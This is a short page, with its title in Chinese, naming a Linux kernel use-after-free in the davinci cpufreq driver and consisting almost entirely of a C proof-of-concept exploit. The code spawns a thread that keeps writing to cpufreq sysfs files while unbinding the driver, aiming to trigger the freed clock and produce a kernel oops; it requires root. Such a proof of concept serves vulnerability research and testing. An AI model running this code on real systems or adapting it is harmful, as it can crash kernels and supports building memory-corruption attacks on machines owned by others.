CVE-2023-53544 Linux内核cpufreq davinci驱动释放后使用漏洞

/* CVE-2023-53544 PoC - Linux kernel cpufreq davinci clk use-after-free * This PoC demonstrates the race condition between clk free and * cpufreq_unregister_driver() in the davinci cpufreq driver. * * Note: Requires root privileges to bind/unbind the davinci cpufreq driver. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <pthread.h> #include <errno.h> #define DAVINCI_CPUFREQ_DRIVER "daVinci-cpufreq" #define SYSFS_CPUFREQ_PATH "/sys/devices/system/cpu/cpu0/cpufreq" #define SYSFS_DRIVER_PATH "/sys/bus/platform/drivers/daVinci-cpufreq" static void trigger_cpufreq_access(void) { /* Try to trigger cpufreq callbacks that access the freed clk */ int fd; char buf[64]; fd = open(SYSFS_CPUFREQ_PATH "/scaling_governor", O_WRONLY); if (fd >= 0) { write(fd, "performance\n", 12); close(fd); } fd = open(SYSFS_CPUFREQ_PATH "/scaling_setspeed", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "%d\n", 0); write(fd, buf, strlen(buf)); close(fd); } } static void unbind_driver(void) { int fd; fd = open(SYSFS_DRIVER_PATH "/unbind", O_WRONLY); if (fd >= 0) { write(fd, "cpufreq-davinci.0\n", 18); close(fd); } } void *race_thread(void *arg) { while (1) { trigger_cpufreq_access(); usleep(1); } return NULL; } int main(int argc, char *argv[]) { pthread_t tid; int ret; printf("CVE-2023-53544 PoC - cpufreq davinci clk UAF\n"); /* Spawn thread to continuously trigger cpufreq callbacks */ ret = pthread_create(&tid, NULL, race_thread, NULL); if (ret != 0) { perror("pthread_create"); return 1; } /* Unbind the driver to trigger the vulnerable remove path */ unbind_driver(); pthread_cancel(tid); pthread_join(tid, NULL); printf("PoC execution completed. Check dmesg for kernel oops.\n"); return 0; }